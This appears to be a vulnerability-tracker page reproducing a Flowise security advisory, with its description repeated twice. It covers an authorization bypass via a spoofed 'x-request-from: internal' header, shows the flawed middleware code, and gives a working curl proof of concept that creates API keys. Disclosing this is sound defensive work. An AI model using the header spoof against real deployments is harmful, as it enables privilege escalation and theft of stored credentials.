Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
8.7
Flowise Allows Tenants to Bypass Security Checks with Spoofed Header
GHSA-wvhq-wp8g-c7vq
CVE-2026-30820
GHSA-wvhq-wp8g-c7vq
Summary
Flowise, a software solution, has a security weakness that allows a low-privilege tenant to access internal administration features by sending a specific header. This means a malicious user can access sensitive areas of the system without proper authorization. To fix this, update Flowise to the latest version, which should address this security issue.
What to do
- Update flowise to version 3.0.13.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | flowise | <= 3.0.12 | 3.0.13 |
| – | flowise | <= 3.0.13 | 3.0.13 |
Original title
Flowise has Authorization Bypass via Spoofed x-request-from Header
Original description
### Summary
Flowise trusts any HTTP client that sets the header `x-request-from: internal`, allowing an authenticated tenant session to bypass all `/api/v1/**` authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.
### Details
The global middleware that guards `/api/v1` routes lives in `external/Flowise/packages/server/src/index.ts:214`. After filtering out the whitelist, the logic short-circuits on the spoofable header:
```javascript
if (isWhitelisted) {
next();
} else if (req.headers['x-request-from'] === 'internal') {
verifyToken(req, res, next);
} else {
const { isValid } = await validateAPIKey(req);
if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
… // owner context stitched from API key
}
```
Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before `next()` executes, so every downstream router under `/api/v1` becomes reachable.
### PoC
1. Log into Flowise 3.0.8 and capture cookies (e.g., `curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login`).
2. Invoke an internal-only endpoint with the spoofed header:
```bash
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-H 'x-request-from: internal' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
```
The server returns HTTP 200 and the newly created key object.
3. Remove the header and retry:
```bash
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
```
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.
The same spoof grants access to other privileged routes like `/api/v1/credentials`, `/api/v1/tools`, `/api/v1/node-custom-function`, etc.
### Impact
This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.
Flowise trusts any HTTP client that sets the header `x-request-from: internal`, allowing an authenticated tenant session to bypass all `/api/v1/**` authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.
### Details
The global middleware that guards `/api/v1` routes lives in `external/Flowise/packages/server/src/index.ts:214`. After filtering out the whitelist, the logic short-circuits on the spoofable header:
```javascript
if (isWhitelisted) {
next();
} else if (req.headers['x-request-from'] === 'internal') {
verifyToken(req, res, next);
} else {
const { isValid } = await validateAPIKey(req);
if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
… // owner context stitched from API key
}
```
Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before `next()` executes, so every downstream router under `/api/v1` becomes reachable.
### PoC
1. Log into Flowise 3.0.8 and capture cookies (e.g., `curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login`).
2. Invoke an internal-only endpoint with the spoofed header:
```bash
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-H 'x-request-from: internal' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
```
The server returns HTTP 200 and the newly created key object.
3. Remove the header and retry:
```bash
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
```
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.
The same spoof grants access to other privileged routes like `/api/v1/credentials`, `/api/v1/tools`, `/api/v1/node-custom-function`, etc.
### Impact
This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.
ghsa CVSS4.0
8.7
Vulnerability type
CWE-863
Incorrect Authorization
Published: 6 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026